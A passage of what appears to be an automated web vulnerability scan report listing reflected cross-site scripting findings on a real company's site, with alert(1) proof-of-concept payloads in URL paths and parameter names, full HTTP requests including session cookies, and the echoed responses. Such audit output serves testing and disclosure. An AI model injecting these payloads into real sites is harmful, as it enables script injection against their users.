Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12033


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/base/Documentationb23e5"><script>alert(1)</script>b80d5d28cc8/4.1.6/ReleaseNotes/4.1.6">
...[SNIP]...

4.380. http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation/4.1.6/ReleaseNotes/4.1.6

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 30c2e'-alert(1)-'485dbeda54d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /base/Documentation30c2e'-alert(1)-'485dbeda54d/4.1.6/ReleaseNotes/4.1.6 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:24:40 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:24:41 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:24:41 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:24:41 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11878


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...

           var versionIndex = document.getElementById('docsVersionSelect').selectedIndex;
           var version = document.getElementById('docsVersionSelect')[versionIndex].value;
           var title = 'base/Documentation30c2e'-alert(1)-'485dbeda54d/4.1.6/ReleaseNotes/4.1.6';
           sajax_do_call( 'efSplunkAjaxChangeVersion', [version,title], AjaxChangeVersion_callback );
           //window.location.href = "/base/Documentation30c2e'-alert(1)-'485dbeda54d/
...[SNIP]...

4.381. http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation/4.1.6/ReleaseNotes/4.1.6

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85f96"><script>alert(1)</script>f1da85a8e18 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /base/Documentation/4.1.6/ReleaseNotes85f96"><script>alert(1)</script>f1da85a8e18/4.1.6 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:24:59 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:25:00 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:25:00 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:25:00 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 15464


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes85f96"><script>alert(1)</script>f1da85a8e18/4.1.6">
...[SNIP]...

4.382. http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation/4.1.6/ReleaseNotes/4.1.6

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b124b'-alert(1)-'794bc2e4b1f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /base/Documentation/4.1.6/ReleaseNotesb124b'-alert(1)-'794bc2e4b1f/4.1.6 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:25:13 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:25:14 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:25:14 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:25:14 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 15309


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
ex = document.getElementById('docsVersionSelect').selectedIndex;
           var version = document.getElementById('docsVersionSelect')[versionIndex].value;
           var title = 'base/Documentation/4.1.6/ReleaseNotesb124b'-alert(1)-'794bc2e4b1f/4.1.6';
           sajax_do_call( 'efSplunkAjaxChangeVersion', [version,title], AjaxChangeVersion_callback );
           //window.location.href = "/base/Documentation/4.1.6/ReleaseNotesb124b'-alert(1)-'794bc2e4b1f/
...[SNIP]...

4.383. http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation/4.1.6/ReleaseNotes/4.1.6

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c4903'-alert(1)-'c75c866ef81 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /base/Documentation/4.1.6/ReleaseNotes/4.1.6c4903'-alert(1)-'c75c866ef81 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:25:37 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:25:38 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:25:38 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:25:38 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 15309


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
ocument.getElementById('docsVersionSelect').selectedIndex;
           var version = document.getElementById('docsVersionSelect')[versionIndex].value;
           var title = 'base/Documentation/4.1.6/ReleaseNotes/4.1.6c4903'-alert(1)-'c75c866ef81';
           sajax_do_call( 'efSplunkAjaxChangeVersion', [version,title], AjaxChangeVersion_callback );
           //window.location.href = "/base/Documentation/4.1.6/ReleaseNotes/4.1.6c4903'-alert(1)-'c75c866ef81"
...[SNIP]...

4.384. http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation/4.1.6/ReleaseNotes/4.1.6

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7155c"><script>alert(1)</script>509478c60a1 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /base/Documentation/4.1.6/ReleaseNotes/4.1.67155c"><script>alert(1)</script>509478c60a1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:25:26 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:25:27 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:25:27 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:25:27 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 15464


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.67155c"><script>alert(1)</script>509478c60a1">
...[SNIP]...

4.385. http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation/4.1.6/ReleaseNotes/4.1.6

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb1fc"><script>alert(1)</script>4c5aeb902fb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /base/Documentation/4.1.6/ReleaseNotes/4.1.6?cb1fc"><script>alert(1)</script>4c5aeb902fb=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:35 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:23:36 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:23:36 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:23:36 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 35881


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
<a href="http://www.splunk.com/index.php?module=roles&func=showloginform&redirecturl=http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6?cb1fc"><script>alert(1)</script>4c5aeb902fb=1">
...[SNIP]...

4.386. http://www.splunk.com/base/Documentation/4.1.6/ReleaseNotes/4.1.6 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/base/Documentation/4.1.6/ReleaseNotes/4.1.6

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2080b'-alert(1)-'fc4b5596287 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /base/Documentation/4.1.6/ReleaseNotes/4.1.6?2080b'-alert(1)-'fc4b5596287=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:38 GMT
Server: Apache/2.2.8 (EL)
Vary: Accept-Encoding,Cookie,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: base_session=+; expires=Sat, 05-Feb-2011 22:23:39 GMT; path=/
Set-Cookie: baseUserID=+; expires=Sat, 05-Feb-2011 22:23:39 GMT; path=/
Set-Cookie: baseUserName=+; expires=Sat, 05-Feb-2011 22:23:39 GMT; path=/
Content-language: en
X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=baseToken;string-contains=baseLoggedOut;string-contains=base_session
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 35706


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://ww
...[SNIP]...
cument.getElementById('docsVersionSelect').selectedIndex;
           var version = document.getElementById('docsVersionSelect')[versionIndex].value;
           var title = 'base/Documentation/4.1.6/ReleaseNotes/4.1.6?2080b'-alert(1)-'fc4b5596287=1';
           sajax_do_call( 'efSplunkAjaxChangeVersion', [version,title], AjaxChangeVersion_callback );
           //window.location.href = "/base/Documentation/4.1.6/ReleaseNotes/4.1.6?2080b'-alert(1)-'fc4b55962
...[SNIP]...

4.387. http://www.splunk.com/cave/narc.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/cave/narc.php

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 7c511--><script>alert(1)</script>73db74c99c9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /cave7c511--><script>alert(1)</script>73db74c99c9/narc.php?u=/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw&r=http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg&a=Adwords_Unix&cid= HTTP/1.1
Host: www.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=173.193.214.243.1296942538894423; XARAYASID=1mtgfd73mkm07svvqv720eu567; Enabled=true

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 21:50:17 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:20:17 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:20:17 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19162

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>73db74c99c9/narc.php?u=/download?ac=Adwords_Unix&_kk=unix%20server&_kt=c6320b89-e2a5-4dbf-a9d0-dd556bdb1c51&gclid=CPeW6bn_8aYCFcfe4Aod22SxHw&r=http://pagead2.googlesyndication.com/pagead/imgad?id=CK6sofbu_LPoWxDY
...[SNIP]...

4.388. http://www.splunk.com/cave/narc.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/cave/narc.php

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload bfe11--><script>alert(1)</script>c54ef0afa5d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

